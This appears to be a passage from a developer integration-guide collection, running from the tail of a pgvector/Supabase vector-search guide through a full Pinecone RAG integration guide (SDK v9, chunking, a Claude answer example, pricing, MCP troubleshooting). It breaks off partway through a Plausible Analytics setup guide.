examples/hybrid-search.sql is a ready hybrid_search(query_text, query_embedding, match_count, ...) function adapted from Supabase's guide. It's RLS-safe (SECURITY INVOKER), enables the iterative scan, and keeps the semantic subquery index-eligible. Tested on pgvector 0.8.7 / PG 18. On Neon you can instead use Lakebase Search (lakebase_text gives BM25 ranking that GIN lacks; see section 10).

8. RLS with vector queries (Supabase)

RLS works on vector queries exactly as on any other SELECT. A policy is just another filter, so it hits the same post-filter trap as section 5. We tested this on 0.8.7: a user owning about 2% of 3,000 rows got 1 of 5 requested rows from a plain RLS + HNSW query, and 5 of 5 (correctly ordered, nothing leaked) through a function that enables relaxed_order.

Checklist (examples/supabase-rls.sql):

9. TypeScript

node-postgres + pgvector (examples/search.ts)

import pg from "pg";
import pgvector from "pgvector/pg";
import { embed } from "ai";
import { openai } from "@ai-sdk/openai";

const pool = new pg.Pool({
  connectionString: process.env.DATABASE_URL,
  onConnect: async (client) => { await pgvector.registerTypes(client); }, // every pooled connection
});

const { embedding } = await embed({
  model: openai.embeddingModel("text-embedding-3-small"),
  value: "how do refunds work?",
});

const { rows } = await pool.query(
  "SELECT id, content FROM documents ORDER BY embedding <=> $1 LIMIT 5",
  [pgvector.toSql(embedding)],
);

The full example adds a tenant filter, an iterative scan inside BEGIN/SET LOCAL/COMMIT, and the materialized-CTE re-sort. It type-checks under tsc --strict with pgvector@0.3.0, pg@8.23.1, ai@7.0.146, and @ai-sdk/openai@4.0.98.

Drizzle ORM (examples/drizzle.ts)

Drizzle 0.31.0 and later ships vector / halfvec / bit / sparsevec columns plus the cosineDistance, l2Distance, innerProduct, l1Distance, hammingDistance, and jaccardDistance helpers. Current stable is 0.45.4; 1.0 is in beta/rc.

import { cosineDistance, sql } from "drizzle-orm";
import { drizzle } from "drizzle-orm/node-postgres";
import { bigint, index, pgTable, text, vector } from "drizzle-orm/pg-core";

export const documents = pgTable(
  "documents",
  {
    id: bigint("id", { mode: "number" }).primaryKey().generatedAlwaysAsIdentity(),
    content: text("content").notNull(),
    embedding: vector("embedding", { dimensions: 1536 }),
  },
  (t) => [index("emb_idx").using("hnsw", t.embedding.op("vector_cosine_ops"))],
);

const db = drizzle(process.env.DATABASE_URL ?? "");

export async function nearest(queryEmbedding: number[]) {
  const distance = cosineDistance(documents.embedding, queryEmbedding);
  return db
    .select({ id: documents.id, distance: sql<number>`${distance}` })
    .from(documents)
    .orderBy(distance) // ascending distance: index-eligible
    .limit(5);
}

Drizzle's own similarity guide does orderBy(desc(1 - cosineDistance(...))). That generates ORDER BY 1 - (embedding <=> $1) DESC, which can't use the HNSW index (EXPLAIN shows Seq Scan + Sort). Order by the distance itself.

Drizzle doesn't run CREATE EXTENSION. Put it in your first migration.

Other clients: Postgres.js, Kysely, Prisma, TypeORM, MikroORM, Knex, Sequelize, and Bun SQL are covered in the pgvector-node README. With supabase-js you pass a plain number[] to .rpc().

10. Scaling beyond plain pgvector

Option What it is Where
halfvec + binary quantization Smaller working set; stays plain pgvector Everywhere
Read replicas / partitioning Horizontal reads; one tenant per partition Everywhere
Neon Lakebase Search (lakebase_vector 1.1.1, lakebase_ann index) IVF + RaBitQ index over the same pgvector types and operators. Neon says it scales to 1B+ vectors with 50 to 100× faster builds than HNSW, and the index lives in storage (fast cold starts, branch-friendly). Needs PG 16+. Has lakebase_ann.prefilter. Neon only
pgvectorscale 0.9.1 (PostgreSQL License) StreamingDiskANN index (USING diskann) plus label-filtered search Self-hosted / Tiger Data. Not on Supabase or Neon.
VectorChord 1.1.1 (AGPLv3 or ELv2) RaBitQ IVF index, pgvector-compatible Self-hosted. Not on Supabase or Neon. Check the license before embedding it in a product.
[[pinecone]] Managed vector DB with integrated inference Separate service

Environment

Secrets (server-side only, stored in the vault; never NEXT_PUBLIC_):

DATABASE_URL=postgresql://...?sslmode=require
OPENAI_API_KEY=sk-...

Non-secret settings:

Setting Example Notes
Embedding model text-embedding-3-small Must match the column's dimension
Embedding dimensions 1536 Must match vector(N)
hnsw.ef_search 100 Set per transaction with SET LOCAL
hnsw.iterative_scan relaxed_order Turn on for any filtered or RLS query

codeAmani notes

Official docs:

Pinecone Integration Guide

Technology: pinecone · Category: database · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/pinecone

Insight:

This directly solves the stated gap ("lots of AI, no retrieval layer"). Pinecone's integrated inference is still the key: pc.indexes.createForModel binds an embedding model to the index, so you upsertRecords/searchRecords with raw text and Pinecone embeds server-side, with zero embeddings infrastructure to run. Two codeAmani wins: hosted multilingual-e5-large embeds Swahili + English in one space, and retrieved chunks feed straight into a Claude call via the Vercel AI SDK. New in 2026: the GA Documents API adds BM25 full-text search for exact tokens (SKUs, M-Pesa receipt codes), and SDK v9 needs Node.js 22.

██████╗ ██╗███╗   ██╗███████╗ ██████╗ ██████╗ ███╗   ██╗███████╗
██╔══██╗██║████╗  ██║██╔════╝██╔════╝██╔═══██╗████╗  ██║██╔════╝
██████╔╝██║██╔██╗ ██║█████╗  ██║     ██║   ██║██╔██╗ ██║█████╗
██╔═══╝ ██║██║╚██╗██║██╔══╝  ██║     ██║   ██║██║╚██╗██║██╔══╝
██║     ██║██║ ╚████║███████╗╚██████╗╚██████╔╝██║ ╚████║███████╗
╚═╝     ╚═╝╚═╝  ╚═══╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═══╝╚══════╝

Pinecone Integration Guide

Focus: The retrieval layer for codeAmani's AI. Pinecone is a serverless vector database for RAG: store knowledge, retrieve the most relevant chunks, and feed them into a Claude prompt. With integrated inference you skip running an embedding model entirely, because Pinecone embeds text server-side (including multilingual-e5-large for Swahili + English).

What changed in 2026 (read this first)

Change Date What to do
Node SDK v9.0.0 targets API 2026-07 and requires Node.js ≥ 22 2026-09-09 Pin @pinecone-database/pinecone@9.0.0. Stay on 8.x only if a runtime is stuck on Node 20.
Control plane moved to resource clients (pc.indexes.*, pc.backups.*, pc.backupSchedules.*, pc.assistants.*) v9 Flat pc.createIndexForModel(), pc.listIndexes() and friends still work but are deprecated. New code uses pc.indexes.createForModel() and pc.indexes.list().
Python SDK v10.0.0 (API 2026-07, Python 3.10 to 3.14), pinecone.preview removed 2026-09-03 pip install pinecone==10.0.0. pc.create_index(dimension=..., spec=...) is unchanged.
Full-text search + Documents API generally available 2026-09-02 New schema-based "document indexes" combine BM25 text, dense and sparse fields. See §5.
Index responses expose schema + deployment; dimension/metric/spec are compatibility getters that can throw v9 Don't spread or serialize IndexModel. Read model.host and model.schema.
Egress metering: 1 GB/mo Starter, 10 GB Builder, 100 GB Standard/Enterprise, then $0.10/GB 2026-09-01 Return only the fields you need. Starter/Builder reads are blocked at the cap.
New Builder plan, $20/month flat with no overages 2026-05-04 Middle step between Starter and Standard.
Dedicated Read Nodes GA (Standard/Enterprise) 2026-04-15 Provisioned read hardware at an hourly rate instead of read units. See §6.
Scheduled backups (pc.backupSchedules) and namespace aliases v9 / 2026-09-29 Nightly backups; blue/green namespace swaps. See §6.
cohere-rerank-3.5 deprecated → cohere-rerank-4-fast 2026-07-01 Codeamani uses bge-reranker-v2-m3, so no action needed.
Pinecone Local (Docker emulator) end of life 2026-10-07 Test against a separate dev project or mock the API.

Overview

Pinecone (API 2026-07) gives you three kinds of index. Pick one per knowledge base:

Index kind Create with (TS v9) Read/write with Use when
Integrated embedding (codeAmani default for RAG) pc.indexes.createForModel({ embed: { model, fieldMap } }) upsertRecords / searchRecords (Records API) You want to send raw text and never handle vectors. Supports server-side rerank, and it is the only kind the Pinecone MCP can drive.
Vector index (bring your own vectors) pc.indexes.create({ dimension, metric, spec }) upsert / query / fetch (Vectors API) You need a specific embedding model (e.g. OpenAI text-embedding-3-small).
Document index (new, GA) pc.indexes.create({ schema: { fields } }) index.documents.* (Documents API) You need BM25 full-text and/or Lucene query syntax on the same data as dense vectors.

An index's data plane is fixed when it is created. Upgrading the SDK never moves an existing index to a different API.

Here is the integrated-inference path at a glance. The embedding happens server-side, so your app never touches a vector:

flowchart LR
  A["Raw text records"] -->|"upsertRecords"| B["Index bound to<br/>multilingual-e5-large"]
  B --> C["Vectors stored<br/>server-side"]
  Q["Text query"] -->|"searchRecords topK"| C
  C --> D["Optional rerank<br/>bge-reranker-v2-m3 topN"]
  D --> E["Top matching chunks"]

RAG decision notes

The headline trade-off (Pinecone's integrated inference vs. running your own embeddings) is summarized in the Insight callout at the top of this page. A few more decision points worth knowing:

Chunking strategy

Since chunking dominates retrieval quality (see the note above), here is concrete guidance. All sizes are in tokens, not characters.

Size: start fixed, then iterate. Pinecone's chunking guide recommends starting with fixed-size chunking and only moving to fancier strategies once it proves insufficient. For sizing, the guide says to "start by exploring a variety of chunk sizes, including smaller chunks (e.g. 128 or 256 tokens) ... and larger chunks (e.g. 512 or 1024 tokens)" (pinecone.io/learn/chunking-strategies). With multilingual-e5-large the hard ceiling is 507 tokens, so the practical default for FAQ/support docs is ~400–450 tokens. Smaller chunks give sharper, more precise matches. Larger chunks carry more context per hit but dilute the embedding.

Overlap: 10–20% is the commonly documented range. Pinecone's guide itself does not prescribe a fixed overlap percentage. It instead favours chunk expansion (pulling neighbouring chunks at query time) to recover context. Across the broader RAG literature, a 10–20% overlap (e.g. 50–80 tokens on a 450-token chunk) is the widely cited starting point to avoid splitting a sentence's meaning across a boundary. Treat it as a knob to tune, not gospel. Some recent benchmarks find overlap adds indexing cost with little gain, so measure on your own corpus.

Semantic vs fixed splitting: when to switch.

Keep chunk_text (the field in your index fieldMap) as the only text field per record, and store source metadata (doc_id, section, chunk_index) so you can rebuild context.

// Fixed-size, overlapping chunker. Run BEFORE upsertRecords (§2).
// Approximate tokens with a chars-per-token ratio (English ~4; tune for Swahili).
const CHARS_PER_TOKEN = 4;

function chunkText(
  text: string,
  { chunkTokens = 450, overlapTokens = 60 } = {},
): string[] {
  const size = chunkTokens * CHARS_PER_TOKEN;        // ~1800 chars
  const overlap = overlapTokens * CHARS_PER_TOKEN;    // ~240 chars
  const stride = Math.max(size - overlap, 1);         // guard: overlap < size
  const chunks: string[] = [];
  for (let start = 0; start < text.length; start += stride) {
    const slice = text.slice(start, start + size).trim();
    if (slice) chunks.push(slice);
  }
  return chunks;
}

// Wire chunks into the §2 integrated-inference upsert (max 96 text records per call):
const records = chunkText(sourceDoc).map((chunk, i) => ({
  id: `faq-mpesa#${i}`,           // stable id = doc + chunk index
  chunk_text: chunk,             // must match the index fieldMap
  doc_id: "faq-mpesa",
  chunk_index: i,
  topic: "payments",
}));
for (let i = 0; i < records.length; i += 96) {
  await index.upsertRecords({ records: records.slice(i, i + 96) });
}

Gotcha: chunk sizes are measured in tokens, but most splitters (including the char-based helper above) cut on characters. The ~4-chars-per-token ratio is an English approximation. Swahili and other non-English text often run fewer chars per token, so a "450-token" char window can silently overshoot the embedding model's context limit and get truncated server-side. For production, count with a real tokenizer (e.g. js-tiktoken) instead of a fixed ratio, and verify against your model's window (multilingual-e5-large = 507 tokens; llama-text-embed-v2 = 2048 tokens).

flowchart TD
  A["Source doc"] --> B{"Structured doc<br/>headings · sections"}
  B -->|"No · uniform prose"| C["Fixed-size<br/>~450 tok · 10-20% overlap"]
  B -->|"Yes"| D{"Topics shift<br/>a lot"}
  D -->|"No"| E["Content-aware<br/>recursive split"]
  D -->|"Yes · long PDF"| F["Semantic<br/>split on topic shift"]
  C --> G["upsertRecords<br/>chunk_text field"]
  E --> G
  F --> G

Official Documentation

Resource URL
Docs home https://docs.pinecone.io/
Quickstart https://docs.pinecone.io/guides/get-started/quickstart
Integrated inference https://docs.pinecone.io/guides/inference/understanding-inference
Adopt the Documents API (2026-07) https://docs.pinecone.io/guides/index-data/adopt-the-documents-api
Full-text search https://docs.pinecone.io/guides/search/full-text-search
2026 changelog https://docs.pinecone.io/release-notes/2026
TS SDK v9 migration guide https://github.com/pinecone-io/pinecone-ts-client/blob/main/guides/upgrading/v9-migration.md
Chunking strategies https://www.pinecone.io/learn/chunking-strategies/
Pricing https://www.pinecone.io/pricing/

1. Install + credentials

npm install @pinecone-database/pinecone@9.0.0   # JS/TS. Requires Node.js >= 22
pip install pinecone==10.0.0                     # Python 3.10 to 3.14
PINECONE_API_KEY=pcsk_...    # server-side only (.env.local / Vercel env / Hazina vault)

Non-secret settings (keep these in config, not in the vault):

Setting Value Notes
Cloud / region aws / us-east-1 Starter is us-east-1 only. Builder and above can use any GA region (e.g. eu-central-1, ap-southeast-1).
Embedding model multilingual-e5-large 1024-dim, 507-token window
Rerank model bge-reranker-v2-m3 The only rerank model on Starter/Builder
API version header 2026-07 Only for raw REST calls (X-Pinecone-Api-Version). The SDKs set it for you.
Debug logging PINECONE_DEBUG Logs requests with Api-Key redacted (v9)

new Pinecone() with no arguments reads PINECONE_API_KEY from the environment. The v9 client uses globalThis.fetch and no longer eagerly loads Node built-ins, so it constructs in Edge/Workers runtimes. Assistant file uploads and streaming still need Node.js.

Optional: the pc CLI (scripting index/project ops outside the app):

brew tap pinecone-io/tap && brew install pinecone-io/tap/pinecone   # macOS
# Windows/Linux: download a binary from https://github.com/pinecone-io/cli/releases
pc auth login                                                        # browser auth
pc index create -n kb -d 1024 -m cosine -c aws -r us-east-1
pc index list

2. RAG with integrated inference (no embedding layer): TypeScript

import { Pinecone } from "@pinecone-database/pinecone";

const pc = new Pinecone(); // reads PINECONE_API_KEY

// 2a. Create an index bound to an embedding model (multilingual = Swahili + English)
const model = await pc.indexes.createForModel({
  name: "kb",
  cloud: "aws",
  region: "us-east-1",
  embed: { model: "multilingual-e5-large", fieldMap: { text: "chunk_text" } },
  waitUntilReady: true,
});
const index = pc.index({ host: model.host, namespace: "tenant-acme" });

// 2b. Upsert RAW TEXT (max 96 records per call). Pinecone embeds it server-side.
await index.upsertRecords({
  records: [
    { id: "doc1", chunk_text: "M-Pesa STK Push prompts the user on their phone.", topic: "payments" },
    { id: "doc2", chunk_text: "Daraja tokens expire after one hour.", topic: "payments" },
  ],
});

// 2c. Search with a text query (+ optional rerank)
const res = await index.searchRecords({
  query: { topK: 10, inputs: { text: "how does M-Pesa checkout work?" }, filter: { topic: { $eq: "payments" } } },
  rerank: { model: "bge-reranker-v2-m3", topN: 3, rankFields: ["chunk_text"] },
  fields: ["chunk_text", "topic"],
});
// hit.fields is typed `object` in v9, so narrow it before reading
const chunks = res.result.hits.map((h) => String((h.fields as Record<string, unknown>).chunk_text));

Writes are eventually consistent. waitUntilReady covers index creation only, so seed scripts should poll a search (with a timeout) before asserting on freshly upserted data.

3. Close the RAG loop (Pinecone → Claude via the AI SDK)

You are one short hop from a full answer. Retrieved chunks become Claude's context, with Pinecone as memory and Claude as generator:

sequenceDiagram
  participant U as "User"
  participant App as "Server action"
  participant P as "Pinecone"
  participant C as "Claude · AI SDK"
  U->>App: "Question"
  App->>P: "searchRecords · text query"
  P-->>App: "Top-k chunks"
  App->>C: "Prompt with context"
  C-->>App: "Grounded answer"
  App-->>U: "Reply"
import { generateText } from "ai";

const context = chunks.map((c, i) => `[${i + 1}] ${c}`).join("\n---\n");
const { text } = await generateText({
  model: "anthropic/claude-sonnet-5",               // via Vercel AI Gateway (Claude 5 family)
  system: "Answer ONLY from the numbered context and cite like [1].",
  prompt: `Context:\n${context}\n\nQ: How does M-Pesa checkout work?`,
});

Full version: examples/rag-answer.ts.

4. Bring-your-own-vectors (Python v10, explicit dimension)

from pinecone import Pinecone, ServerlessSpec

pc = Pinecone()  # reads PINECONE_API_KEY
pc.create_index(name="kb-byov", dimension=1536, metric="cosine",
                spec=ServerlessSpec(cloud="aws", region="us-east-1"))  # unchanged in v10
index = pc.index("kb-byov")   # lowercase pc.index(); capital pc.Index() is the old form
index.upsert(vectors=[("id1", embedding_1536d)], namespace="tenant-a")
res = index.query(vector=query_vec, top_k=10, namespace="tenant-a")  # top_k must be 1..10,000

In TypeScript, pc.indexes.create({ dimension, metric, spec }) still works. The SDK translates it to a schema with the reserved _values field, and the index stays on the classic Vectors API. See examples/byov-backups.ts. On v10, an empty filter={} now raises PineconeValueError client-side, so omit the filter instead.

5. Full-text + hybrid search (Documents API, GA on 2026-07)

A document index declares its fields in a schema: string fields with fullTextSearch (BM25), at most one dense_vector and one sparse_vector. Undeclared fields are stored as filterable metadata. Documents use _id and top-level fields.

const model = await pc.indexes.create({
  name: "support-docs",
  deployment: { deploymentType: "managed", cloud: "aws", region: "us-east-1" },
  schema: {
    fields: {
      body: { type: "string", fullTextSearch: {} },
      embedding: { type: "dense_vector", dimension: 1536, metric: "cosine" },
    },
  },
  waitUntilReady: true,
});
const docs = pc.index({ host: model.host, namespace: "tenant-acme" }).documents;

// Keyword (BM25). Also: { type: "query_string", query: "body:refund~1" } for Lucene + fuzzy
const kw = await docs.search({
  scoreBy: [{ type: "text", fields: ["body"], query: "QK12AB34CD refund" }],
  topK: 5,
  includeFields: ["body"],
});

// Hybrid in ONE request: exact-phrase filter, then dense ranking
const hy = await docs.search({
  scoreBy: [{ type: "dense_vector", fields: ["embedding"], values: queryEmbedding }],
  filter: { body: { $match_phrase: "original card" } },
  topK: 5,
});

Rules worth knowing (from the 2026-07 docs):

6. Production operations

7. Pricing snapshot (pinecone.io/pricing, 2026-10-20)

Starter Builder Standard Enterprise
Price Free $20/mo flat (blocked, not billed, past quota) $50/mo minimum, then pay as you go $500/mo minimum
Indexes 5 (us-east-1 only) 10 per project 20 per project 200 per project
Storage 2 GB 10 GB $0.33/GB/mo $0.33/GB/mo
Read units 1M/mo 2M/mo $16–$18 per M $24–$27 per M
Write units 2M/mo 5M/mo $4–$4.50 per M $6–$6.75 per M
Egress 1 GB/mo 10 GB/mo 100 GB incl., then $0.10/GB same
Embedding 5M tokens/mo 10M tokens/mo e5-large $0.08/M, llama-v2 $0.16/M same
Rerank 500 req/mo (bge only) 1,000 req/mo $2 per 1k requests same

How usage is metered: a query costs 1 RU per GB of namespace (minimum 0.25 RU), regardless of topK. A fetch costs 1 RU per 10 records. An upsert costs 1 WU per KB (minimum 5 WU). Unit prices vary by cloud and region. The HIPAA add-on on Standard is $190/mo. Full table: reference/limits-and-pricing.md.

8. Claude Code: MCP servers, plugin and troubleshooting

Pinecone ships three different MCP servers. Don't mix them up:

Server Transport / launch Tools Use for
Developer MCP @pinecone-database/mcp (v0.3.0) stdio, npx -y @pinecone-database/mcp search-docs, list-indexes, describe-index, describe-index-stats, create-index-for-model, upsert-records, search-records, cascading-search, rerank-documents Building/inspecting integrated-embedding indexes from the editor. BYOV and document indexes, assistants, and raw vector search are not supported.
Assistant MCP (one per assistant) Remote streamable HTTP https://<ASSISTANT_HOST>/mcp/assistants/<NAME> with Authorization: Bearer <key>, or Docker ghcr.io/pinecone-io/assistant-mcp context-snippet retrieval Giving an agent grounded context from a Pinecone Assistant's files
Nexus MCP Remote streamable HTTP https://<WORKSPACE_HOST>/mcp via mcp-remote list_contexts, query_context, get_query Querying Pinecone Nexus contexts (GA 2026-08-06)

Install the developer MCP. Either install the official plugin (claude plugin install pinecone, which bundles the MCP server and the /pinecone:* skills) or add only the server:

claude mcp add-json pinecone-mcp '{"type":"stdio","command":"npx","args":["-y","@pinecone-database/mcp"],"env":{"PINECONE_API_KEY":"<from vault>"}}'
claude mcp add --transport http my-assistant https://<ASSISTANT_HOST>/mcp/assistants/<NAME> --header "Authorization: Bearer <key>"

Troubleshooting: "MCP server plugin:pinecone:pinecone connection timed out after 30000ms"

Measured on this Windows machine on 2026-10-20: a cold npx -y @pinecone-database/mcp took 40.8 s to print Pinecone MCP Server running on stdio. A warm run (package already in the npx cache) took 10.8 s. Claude Code's MCP startup budget gave up at 30 s, so the first launch of a session (or after an npm cache clean) times out. Fixes, in order of preference:

  1. Warm the cache once, then restart Claude Code: run npx -y @pinecone-database/mcp in a terminal, wait for running on stdio, then press Ctrl+C.
  2. Raise the startup timeout before launching Claude Code (PowerShell): $env:MCP_TIMEOUT = "60000"; claude.
  3. Skip npx entirely: npm install -g @pinecone-database/mcp, then point a user-scoped server at the pinecone-mcp binary ("command": "pinecone-mcp") instead of npx. On Windows, if npx itself isn't found, use "command": "cmd", "args": ["/c", "npx", "-y", "@pinecone-database/mcp"].
  4. Set PINECONE_API_KEY in the environment that launches Claude Code. The plugin passes ${PINECONE_API_KEY} through. Without it the server still starts, but every database tool errors ("Database tools will return an error until it is provided") and only search-docs works.
  5. Check node --version (the MCP needs ≥ 20; SDK v9 apps need ≥ 22), then run /mcp to confirm ✓ connected.
  6. Behind a corporate firewall, allow api.pinecone.io and the index hosts (*.pinecone.io).

9. Pinecone Assistant (managed RAG)

Upload files to an assistant, then chat with it (citations included) or pull context snippets for your own LLM. It is fully usage-based since 2026-04-01, with no per-assistant hourly fee. On Standard: $8/M input tokens, $15/M output tokens, $5/M context tokens, $3/GB/mo storage and $0.0005 per ingestion unit (~400 tokens). Starter includes 500k input, 300k output and 500k context tokens plus 1,000 ingestion units per month. Chat models include claude-sonnet-4-5, gpt-5 and gemini-3.5-flash. Use it for quick internal doc Q&A. For product RAG, codeAmani keeps the generator in its own Claude call (§3) so routing, prompting and cost stay under our control.

codeAmani notes

Official docs:

Plausible Analytics Integration Guide

Technology: plausible · Category: monitoring · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/plausible

Insight:

Plausible is the web-analytics layer: cookieless, no personal data, so a site that only runs Plausible needs no cookie banner. Proxy the per-site pa-XXXXX.js script first-party, define goals (Lead, Purchase) that match event names exactly, and pull the Stats API v2 into an analytics_daily rollup on a signed QStash cron so /portal/analytics reads from Postgres. Plan gates matter: the Stats API, revenue goals and funnels need Business; the Sites API needs Enterprise. Self-hosted CE must be on v3.2.1 or later (CVE-2026-8467 RCE fix).

██████╗ ██╗      █████╗ ██╗   ██╗███████╗██╗██████╗ ██╗     ███████╗
██╔══██╗██║     ██╔══██╗██║   ██║██╔════╝██║██╔══██╗██║     ██╔════╝
██████╔╝██║     ███████║██║   ██║███████╗██║██████╔╝██║     █████╗
██╔═══╝ ██║     ██╔══██║██║   ██║╚════██║██║██╔══██╗██║     ██╔══╝
██║     ███████╗██║  ██║╚██████╔╝███████║██║██████╔╝███████╗███████╗
╚═╝     ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚═╝╚═════╝ ╚══════╝╚══════╝

Plausible Analytics Integration Guide

Focus: Cookieless web analytics for codeAmani sites and multi-tenant provider sites: the per-site script (proxied first-party), custom-event and revenue goals, funnels, the Stats API v2 rollup into Postgres, the Sites API for tenant provisioning, and self-hosted Community Edition.

Overview

Plausible is an open-source (AGPL), lightweight web analytics product. It sets no cookies, stores no IP addresses or persistent identifiers, and reports aggregates only. Plausible Cloud processes and stores all data in the EU, and a DPA applies to every customer automatically. Unique visitors are counted with a daily-rotating hash of IP + User-Agent + domain, so the same person is not linked across days or sites.

For codeAmani this means product sites can measure traffic and conversions without a consent banner, and the provider-site platform (Motionstack) gets per-tenant stats that roll up into its own Postgres. See Privacy, GDPR and US state laws below for what "no banner" does and doesn't cover.

flowchart LR
    A["Site / tenant page"] --> B["First-party proxy<br/>/pa/js/script.js"]
    B --> C["Plausible Cloud<br/>or self-hosted CE"]
    A -. "plausible('Lead')" .-> C
    S["Server route<br/>(success page)"] -. "POST /api/event" .-> C
    C --> E["Stats API v2<br/>POST /api/v2/query"]
    Q["QStash schedule<br/>(signed)"] --> F["/api/cron/plausible-rollup"]
    F --> E
    F --> G[("analytics_daily<br/>Neon Postgres")]
    G --> H["/portal/analytics"]

What changed recently (2025-10 → 2026-10)

Date Change Impact
Oct 2025 New per-site tracking script pa-XXXXX.js + plausible.init() Old script.*.js extensions are legacy; data-api, data-exclude, data-include and multi-domain sending are gone in the new script
Nov 2025 CE v3.1.0 ships the new script; interactive flag on events Non-interactive events don't affect bounce rate
Feb 2026 Goals with up to three custom-property constraints Property-filtered goals for funnels ("Pro Sign Up")
Apr–Sep 2026 Funnels: strict (Apr), revenue + period comparison (Sep 9), flexible (Sep 23) Three funnel types: sequential, flexible, strict
May 2026 User Journeys (Explore tab) Path exploration, Business plan
May 15, 2026 CE v3.2.1: removes /storybook endpoint (CVE-2026-8467, RCE) Every CE install from v3.0.0 to v3.2.0 must upgrade
Jun 2026 AI Assistants channel; full-URL page breakdowns ChatGPT/Claude/Perplexity traffic split out
Jul 2026 Chart annotations Mark launches/deploys on the traffic graph

Official Documentation

Resource URL
Docs home https://plausible.io/docs
Add the tracking script https://plausible.io/docs/plausible-script
Script update guide (new snippet) https://plausible.io/docs/script-update-guide
Script options / enhanced measurements https://plausible.io/docs/script-extensions
Custom events https://plausible.io/docs/custom-event-goals
Custom properties https://plausible.io/docs/custom-props/introduction
Revenue goals https://plausible.io/docs/ecommerce-revenue-tracking
Funnels https://plausible.io/docs/funnel-analysis
Stats API v2 https://plausible.io/docs/stats-api
Sites API https://plausible.io/docs/sites-api
Events API https://plausible.io/docs/events-api
Proxying https://plausible.io/docs/proxy/introduction
Next.js integration https://plausible.io/docs/nextjs-integration
Plans and pricing https://plausible.io/docs/subscription-plans
Compliance / DPA https://plausible.io/compliance
Community Edition https://github.com/plausible/community-edition
Product changelog https://plausible.io/changelog
@plausible-analytics/tracker https://www.npmjs.com/package/@plausible-analytics/tracker
next-plausible https://github.com/4lejandrito/next-plausible

The docs site has no .md endpoints and no llms.txt. Use https://plausible.io/docs/sitemap.xml for the page list, and the doc sources at https://github.com/plausible/docs/tree/master/docs for raw markdown.


Plans and pricing (verified 2026-10-20)

Billing is by monthly pageviews + custom events across all sites in a team. Prices below are the entry tier (10k monthly pageviews); higher tiers cost more. Yearly billing charges 10 months for 12. 30-day free trial with Business features, no card.

Plan Monthly Yearly Sites Team Retention Key features
Starter $9 $90 1 — 3 years Dashboard, goals, custom events, script
Growth $14 $140 3 3 not stated + shared dashboards, team members
Business $19 $190 10 10 5 years + Stats API (600 req/h), custom properties, revenue goals, funnels, user journeys, consolidated view
Enterprise custom custom 10+ 10+ 5+ years + Sites API, SSO (SAML), managed proxy, raw event exports to S3, higher API limits
Community Edition free (self-host) — unlimited unlimited yours Stats API included; no funnels, user journeys, revenue goals, SSO or Sites API; two releases a year

Traffic spikes are not billed: one month over the tier needs no action. 15% discount on annual Business for nonprofits, education and open-source projects.


Script setup

The snippet (new, per-site)

Every site has its own snippet in Site Settings → General → Site installation. It is two tags: the async loader and an inline queue stub, so plausible() calls made before the script loads are queued.

<script async src="https://plausible.io/js/pa-XXXXX.js"></script>
<script>
  window.plausible=window.plausible||function(){(plausible.q=plausible.q||[]).push(arguments)},plausible.init=plausible.init||function(i){plausible.o=i||{}};
  plausible.init()
</script>

The pa-XXXXX ID encodes the site. Outbound links, file downloads, form submissions, 404 tracking and tagged events are switched on in Site Settings and take effect without editing the snippet. Code-level options go into plausible.init({...}):

plausible.init() option Type Default Use
endpoint string https://plausible.io/api/event Proxy or self-hosted event endpoint (replaces the old data-api)
customProperties object or (eventName) => object {} Props on every event (replaces event-* data attributes)
fileDownloads { fileExtensions: string[] } built-in list Limit download tracking to some extensions
hashBasedRouting boolean false Hash-routed SPAs
autoCapturePageviews boolean true false to send pageviews yourself (custom locations)
captureOnLocalhost boolean false Dev testing
transformRequest function — Rewrite or drop a payload before it is sent

Removed in the new script: data-exclude / data-include (use the excluding guide) and sending to multiple dashboards at once (keep the legacy script, or use a consolidated view). Legacy script.*.js URLs still work, but don't use them for new sites.

next-plausible is a community package that Plausible's own Next.js page recommends. v4 tracks the new script; peers allow next 11 through 16 and React 16.8 through 19.

npm i next-plausible@4.0.0
// next.config.ts
import type { NextConfig } from "next";
import { withPlausibleProxy } from "next-plausible";

const nextConfig: NextConfig = {
  reactStrictMode: true,
};

export default withPlausibleProxy({
  // Site-specific script from Site Settings. Self-hosted CE: https://stats.example.com/js/pa-XXXXX.js
  src: process.env.NEXT_PUBLIC_PLAUSIBLE_SRC ?? "https://plausible.io/js/pa-XXXXX.js",
  // Defaults: /js/script.js and /api/event. Avoid "analytics", "stats", "tracking", "plausible".
  scriptPath: "/pa/js/script.js",
  apiPath: "/pa/api/event",
})(nextConfig); // a config object is mandatory, even if empty
// app/layout.tsx
import type { ReactNode } from "react";
import PlausibleProvider from "next-plausible";

export default function RootLayout({ children }: { children: ReactNode }) {
  return (
    <html lang="en">
      <body>
        <PlausibleProvider
          enabled={process.env.VERCEL_ENV === "production"}
          init={{
            customProperties: { app_version: "2026.10" },
            fileDownloads: { fileExtensions: ["pdf", "csv"] },
          }}
        >
          {children}
        </PlausibleProvider>
      </body>
    </html>
  );
}

Per-tenant sites (Motionstack /sites/[subdomain]): the proxy is configured once per app with one src. Either give each tenant its own Plausible site and render <PlausibleProvider src={tenant.paScriptUrl}> without the proxy, or track all tenants in one site and split them by hostname (event:hostname / visit:entry_page_hostname in the Stats API). Trade-offs are in PATTERNS.md.

Other runtimes

Setup How
Any SPA / bundler @plausible-analytics/tracker@0.4.6: init({ domain, ... }) + track(name, opts). Browser-only; domain is required. See examples/npm-tracker.ts
Vercel without next-plausible vercel.json rewrites: /<dir>/js/script.js → your pa-XXXXX.js, /<dir>/api/event → https://plausible.io/api/event, then plausible.init({ endpoint: "/<dir>/api/event" })
Cloudflare Worker route on your zone; see examples/cloudflare-proxy-worker.ts (module syntax; Plausible's guide still shows service-worker syntax)
Mobile / server Events API (POST /api/event)
Managed Plausible-run proxy via CNAME, Enterprise only

Expect 5–25% of visitors to be missed without a proxy, depending on audience.


Custom events, properties and goals

An event counts as a conversion only once a goal with the same name exists (Site Settings → Goals → Add goal → Custom event). Names are case-sensitive and goals are not backfilled.

"use client";
import { usePlausible } from "next-plausible";

type Events = {
  Lead: { provider: string; source: string };
  Download: { file: string };
  Signup: never;
};

export function LeadForm({ providerSlug }: { providerSlug: string }) {
  const plausible = usePlausible<Events>();

  async function onSubmit(formData: FormData) {
